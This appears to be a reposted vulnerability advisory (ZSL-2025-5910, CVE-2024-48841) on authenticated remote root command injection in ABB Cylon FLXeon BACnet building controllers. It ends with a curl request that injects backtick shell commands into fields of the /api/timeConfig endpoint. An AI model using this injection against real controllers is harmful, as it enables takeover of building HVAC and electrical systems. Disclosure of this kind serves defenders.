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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ABB Cylon FLXeon 9.3.4 - Remote Code Execution (Authenticated)
# Vendor: ABB Ltd.
# Product web page: https://www.global.abb                   
# Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: <=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote root
code execution via the /api/timeConfig endpoint. An attacker with valid credentials
can inject arbitrary system commands by manipulating parameters such as tz, timeServerYN,
and multiple timeDate fields. The vulnerability exists due to improper input validation
in timeConfig.js, where user-supplied data is executed via ChildProcess.exec() without
adequate sanitization.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5910
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5910.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841


21.04.2024

--


$ cat project

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$ curl -k -X PUT "https://7.3.3.1/api/timeConfig" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: application/json" \
> -d '{"timeConfig":{"timeDate":{\
> "yy":"`sleep 17`",\
> "mm":"`sleep 17`",\
> "dd":"`sleep 17`",\
> "h":"`sleep 17`",\
> "m":"`sleep 17`",\
> "s":"`sleep 17`"},\
> "tz":"`sleep 17`",\
> "tzList":[],\
> "timeServerYN":"`sleep 17`",\
> "timeServer":"1.1.1.1",\
> "timeServerSync":false}}'